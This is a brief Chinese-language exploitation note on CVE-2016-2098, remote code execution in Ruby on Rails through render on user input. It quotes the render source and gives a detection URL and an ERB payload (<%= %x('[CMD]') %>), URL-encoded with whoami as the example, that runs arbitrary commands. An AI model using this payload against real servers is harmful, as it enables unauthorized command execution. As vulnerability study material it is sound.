当在用户提供的数据上使用 render 时,Ruby-on-Rails 中的远程代码执行漏洞。
此问题源于对用户提供的数据使用 render 方法。
render 方法通常用于从模板渲染页面,但 render 方法也允许开发者渲染纯文本(plaintext)甚至内联代码(inline)。
render 函数:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
目标 URL:
http://example.com/?view=test
利用:
http://example.com/?view[inline]=OK
如果在源代码中显示 'OK',则 Web 应用程序存在 CVE-2016-2098 漏洞。
<%= %x('[CMD]') %>
我们可以将 CMD 替换为我们想要执行的命令。
<%= %x('whoami') %>
经过 URL 编码后:
%3C%25=%20%25x(whoami)%20%25%3E
最终:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E